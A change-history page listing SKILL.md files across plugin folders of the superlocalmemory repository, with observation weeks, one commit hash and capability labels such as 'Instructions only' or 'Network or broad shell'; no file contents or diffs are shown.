Not in the top 1,000 by GitHub stars
qualixar/superlocalmemory
Open-source governed, local-first memory control plane for AI agents and teams. arXiv:2608.08253
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
antigravity-plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
clawhub-skill/superlocalmemory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
codex-plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
cursor-plugin/cursor-skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
docs/web-agents/superlocalmemory-web/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
hermes-plugin/skills/slm-web-access/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-bot-memory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-compress/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-getting-started-bot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-governance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-graph/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-loop/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-media/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-mesh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-profile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-recall/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-remember/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-scope/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-session/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 93e58692ce51
No earlier version was observed for comparison.
muse-plugin/skills/slm-status/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
93e58692ce51 → 93e58692ce51
